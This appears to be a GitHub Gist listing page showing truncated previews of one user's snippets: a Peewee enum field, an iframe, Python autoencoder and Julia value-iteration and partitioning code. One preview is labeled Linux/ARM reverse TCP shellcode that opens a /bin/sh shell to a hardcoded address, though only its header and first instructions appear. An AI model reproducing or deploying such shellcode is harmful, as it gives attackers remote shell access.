Skip to content

Instantly share code, notes, and snippets.

@dominusmi
dominusmi / enumfield.py
Created November 7, 2022 15:37
Peewee EnumField (custom field type based on IntegerField)
import enum
from abc import ABC
from peewee import IntegerField
class EnumField(IntegerField, ABC):
"""
This class enable an Enum like field for Peewee
"""
@dominusmi
dominusmi / gist:9f8f3a8fabae3ade1a2612f729db260b
Last active December 13, 2021 16:27
x80security iframe
<iframe src="www.x80security.com" title="X80 security"></iframe>
@dominusmi
dominusmi / ARM_reverse_TCP.s
Created April 2, 2020 14:14
Linux/ARM - Reverse TCP (192.168.1.124:4321) Shell (/bin/sh) Shellcode (64 bytes)
// This is a slightly modified version of an ARM shellcode to open a reverse TCP shell.
// The original can be found here: https://www.exploit-db.com/exploits/46258
// and was made by Gokul Babu - https://www.linkedin.com/in/gokul-babu-452b3b112/
.section .text
.global _start
_start:
.ARM
add r3,pc,#1
bx r3
@dominusmi
dominusmi / autoencoder.py
Last active May 12, 2021 09:14
Autoencoder implementation
class Autoencoder:
def __init__(self, D, d):
# Input placeholder, "None" here means any size e.g. (13,D), (420,D), etc.
self.X = tf.placeholder(tf.float32, shape=(None, D))
# Input to hidden (D -> d)
self.W1 = tf.Variable(tf.random_normal(shape=(D,d)))
self.b1 = tf.Variable(np.zeros(d).astype(np.float32))
# Hidden -> output (d -> D)
@dominusmi
dominusmi / ValueIteration.jl
Last active October 9, 2018 07:29
Value iteration for GridWorlds.jl
""" Value-iteration algorithm """
function value_iteration(mdp, gamma = 1.0)
""" Value-iteration algorithm """
v = zeros(n_states(mdp)) # initialize value-function
max_iterations = 1000
eps = 1e-10
for iter in 1:max_iterations
prev_v = copy(v)
for s in states(mdp)
sᵢ = stateindex(mdp, s)
@dominusmi
dominusmi / array_partitioning.jl
Created August 21, 2018 09:56
Partitioning an array in Julia 0.6
# I couldn't find any simpler way of doing this, so I made my own little functions and thought
# I'd share them since I've used them in many different contexts.
# These should not be used if you're looking for performance, since they're quite hack-y
# I personally use them usually during initialisation for various algorithms
# Parition an array into partitions of a specifie size n (last partition may be shorter)
# e.g. partition([1,2,3,4,5,6,7],3) -> [ [1,2,3], [4,5,6], [7] ]
function partition(list, n)
l = size(list,1)
partitioning = collect(Iterators.partition(list, ceil(Int,l/n)))